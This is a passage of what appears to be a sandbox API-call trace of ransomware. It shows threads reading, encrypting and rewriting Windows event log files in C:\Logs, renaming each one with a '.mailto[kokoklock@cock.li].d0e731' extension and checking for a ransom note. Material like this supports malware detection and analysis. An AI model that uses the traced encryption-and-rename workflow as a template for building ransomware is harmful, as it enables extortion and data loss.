returned="C:\\Logs\\" [0062.964] wcscat (in: _Dest=0x34345a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0062.964] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0062.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34345a8) returned 1 [0062.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd370) returned 1 [0062.964] RtlExitUserThread (Status=0x1) Thread: id = 153 os_tid = 0x10dc [0062.965] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0062.966] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", dwFileAttributes=0x20) returned 1 [0062.966] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0062.966] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x98af758 | out: lpFileSize=0x98af758*=69632) returned 1 [0062.966] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.966] ReadFile (in: hFile=0x3cc, lpBuffer=0x98af72c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x98af728, lpOverlapped=0x0 | out: lpBuffer=0x98af72c*, lpNumberOfBytesRead=0x98af728*=0x4, lpOverlapped=0x0) returned 1 [0063.709] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.709] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.709] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa18 [0063.709] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efba8 [0063.709] NtQuerySystemTime (in: CurrentTime=0x98af704 | out: CurrentTime=0x98af704*=132121176215965201) returned 0x0 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xbbee4e62 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x9fd48152 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x526a7697 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x1d3bcd0c [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x3121f1c [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xf7a0f634 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x31f45c53 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x14ef26c4 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x72942d35 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xda0a9c2f [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x244786b0 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x209a542c [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x86ae9366 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xb7dcc851 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xd49e33bd [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xb83787f2 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x7455401e [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x39dc651e [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x319a1f16 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x93f3e09 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x53f34333 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x28cf913a [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x74bb22e1 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xf47011fb [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x67d1375b [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x1639f171 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x3d971581 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xc4df640 [0063.709] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x54376f8f [0063.710] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xb46dc5a7 [0063.710] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0xfefa9bb4 [0063.710] RtlRandom (in: Seed=0x98af710 | out: Seed=0x98af710) returned 0x43ba7e6e [0063.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efcc0 [0063.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0063.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0063.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0063.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55c02c8 [0063.721] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.721] ReadFile (in: hFile=0x3cc, lpBuffer=0x55c02c8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x98af6dc, lpOverlapped=0x0 | out: lpBuffer=0x55c02c8*, lpNumberOfBytesRead=0x98af6dc*=0x4096, lpOverlapped=0x0) returned 1 [0063.963] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0063.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e8908 [0063.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0063.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0063.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0063.964] WriteFile (in: hFile=0x3cc, lpBuffer=0x55e8908*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x98af6dc, lpOverlapped=0x0 | out: lpBuffer=0x55e8908*, lpNumberOfBytesWritten=0x98af6dc*=0x4096, lpOverlapped=0x0) returned 1 [0063.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e8908) returned 1 [0063.964] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.964] WriteFile (in: hFile=0x3cc, lpBuffer=0x33e4760*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x98af714, lpOverlapped=0x0 | out: lpBuffer=0x33e4760*, lpNumberOfBytesWritten=0x98af714*=0x20, lpOverlapped=0x0) returned 1 [0063.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55c02c8) returned 1 [0063.967] WriteFile (in: hFile=0x3cc, lpBuffer=0x33efa40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x98af728, lpOverlapped=0x0 | out: lpBuffer=0x33efa40*, lpNumberOfBytesWritten=0x98af728*=0x8, lpOverlapped=0x0) returned 1 [0063.967] WriteFile (in: hFile=0x3cc, lpBuffer=0x98af740*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x98af728, lpOverlapped=0x0 | out: lpBuffer=0x98af740*, lpNumberOfBytesWritten=0x98af728*=0x4, lpOverlapped=0x0) returned 1 [0063.968] WriteFile (in: hFile=0x3cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x98af728, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x98af728*=0x4, lpOverlapped=0x0) returned 1 [0063.968] WriteFile (in: hFile=0x3cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x98af728, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x98af728*=0x6c, lpOverlapped=0x0) returned 1 [0063.968] WriteFile (in: hFile=0x3cc, lpBuffer=0x33efa18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x98af728, lpOverlapped=0x0 | out: lpBuffer=0x33efa18*, lpNumberOfBytesWritten=0x98af728*=0x20, lpOverlapped=0x0) returned 1 [0063.968] WriteFile (in: hFile=0x3cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x98af728, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x98af728*=0x4, lpOverlapped=0x0) returned 1 [0063.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa18) returned 1 [0063.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efcc0) returned 1 [0063.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0063.968] CloseHandle (hObject=0x3cc) returned 1 [0064.491] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33ce878 [0064.491] wcscpy (in: _Dest=0x33ce878, _Source="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" [0064.491] wcscat (in: _Dest=0x33ce878, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731" [0064.491] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.589] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.589] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce878) returned 1 [0064.589] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", dwFileAttributes=0x20) returned 0 [0064.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433d68 [0064.590] wcscpy (in: _Dest=0x3433d68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.590] wcscat (in: _Dest=0x3433d68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.590] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433d68) returned 1 [0064.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c2d60) returned 1 [0064.590] RtlExitUserThread (Status=0x1) Thread: id = 154 os_tid = 0x10e0 [0062.967] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0062.968] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0062.968] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0062.968] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x992fd3c | out: lpFileSize=0x992fd3c*=69632) returned 1 [0062.968] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.968] ReadFile (in: hFile=0x3c8, lpBuffer=0x992fd10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x992fd0c, lpOverlapped=0x0 | out: lpBuffer=0x992fd10*, lpNumberOfBytesRead=0x992fd0c*=0x4, lpOverlapped=0x0) returned 1 [0063.694] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33ef9f0 [0063.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb80 [0063.694] NtQuerySystemTime (in: CurrentTime=0x992fce8 | out: CurrentTime=0x992fce8*=132121176215813813) returned 0x0 [0063.694] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x7b97d99f [0063.694] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x6d011707 [0063.694] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x3e742dfd [0063.694] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x38ddc731 [0063.694] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x25d5b917 [0063.694] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0xfe286a2 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x5806cf2d [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x7497ed2a [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x2e5ad98d [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x6828fa82 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x920673bc [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x252bdb0f [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0xc782dea4 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x4a75c73b [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x84c881c [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x691e8805 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x64497392 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x17efbe81 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0xd4d6e43d [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x8a15c7fc [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x850f357e [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x3b3231e4 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x7a38f783 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x89dfc18c [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0xaefa4d4 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0xf96dec10 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x73803701 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0xf2af1cbe [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x14746f26 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0xdb134280 [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0xb02cb3ce [0063.695] RtlRandom (in: Seed=0x992fcf4 | out: Seed=0x992fcf4) returned 0x5903e88f [0063.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efc98 [0063.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0063.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33ef9c8 [0063.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0063.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55bc228 [0063.708] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.708] ReadFile (in: hFile=0x3c8, lpBuffer=0x55bc228, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x992fcc0, lpOverlapped=0x0 | out: lpBuffer=0x55bc228*, lpNumberOfBytesRead=0x992fcc0*=0x4096, lpOverlapped=0x0) returned 1 [0063.960] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0063.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e8908 [0063.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0063.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0063.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0063.961] WriteFile (in: hFile=0x3c8, lpBuffer=0x55e8908*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x992fcc0, lpOverlapped=0x0 | out: lpBuffer=0x55e8908*, lpNumberOfBytesWritten=0x992fcc0*=0x4096, lpOverlapped=0x0) returned 1 [0063.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e8908) returned 1 [0063.961] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.961] WriteFile (in: hFile=0x3c8, lpBuffer=0x33e4760*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x992fcf8, lpOverlapped=0x0 | out: lpBuffer=0x33e4760*, lpNumberOfBytesWritten=0x992fcf8*=0x20, lpOverlapped=0x0) returned 1 [0063.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55bc228) returned 1 [0063.962] WriteFile (in: hFile=0x3c8, lpBuffer=0x33ef9c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x992fd0c, lpOverlapped=0x0 | out: lpBuffer=0x33ef9c8*, lpNumberOfBytesWritten=0x992fd0c*=0x8, lpOverlapped=0x0) returned 1 [0063.962] WriteFile (in: hFile=0x3c8, lpBuffer=0x992fd24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x992fd0c, lpOverlapped=0x0 | out: lpBuffer=0x992fd24*, lpNumberOfBytesWritten=0x992fd0c*=0x4, lpOverlapped=0x0) returned 1 [0063.962] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x992fd0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x992fd0c*=0x4, lpOverlapped=0x0) returned 1 [0063.962] WriteFile (in: hFile=0x3c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x992fd0c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x992fd0c*=0x6c, lpOverlapped=0x0) returned 1 [0063.962] WriteFile (in: hFile=0x3c8, lpBuffer=0x33ef9f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x992fd0c, lpOverlapped=0x0 | out: lpBuffer=0x33ef9f0*, lpNumberOfBytesWritten=0x992fd0c*=0x20, lpOverlapped=0x0) returned 1 [0063.962] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x992fd0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x992fd0c*=0x4, lpOverlapped=0x0) returned 1 [0063.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef9f0) returned 1 [0063.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efc98) returned 1 [0063.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef9c8) returned 1 [0063.962] CloseHandle (hObject=0x3c8) returned 1 [0064.491] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x33faf58 [0064.491] wcscpy (in: _Dest=0x33faf58, _Source="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" [0064.491] wcscat (in: _Dest=0x33faf58, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.491] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.610] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.627] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33faf58) returned 1 [0064.627] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.627] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ea8 [0064.627] wcscpy (in: _Dest=0x3433ea8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.627] wcscat (in: _Dest=0x3433ea8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.627] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.627] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ea8) returned 1 [0064.627] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0064.627] RtlExitUserThread (Status=0x1) Thread: id = 155 os_tid = 0x10e4 [0062.969] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0062.970] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", dwFileAttributes=0x20) returned 1 [0062.970] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0062.970] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x99af92c | out: lpFileSize=0x99af92c*=69632) returned 1 [0062.970] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.970] ReadFile (in: hFile=0x3c4, lpBuffer=0x99af900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x99af8fc, lpOverlapped=0x0 | out: lpBuffer=0x99af900*, lpNumberOfBytesRead=0x99af8fc*=0x4, lpOverlapped=0x0) returned 1 [0063.681] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efc70 [0063.681] NtQuerySystemTime 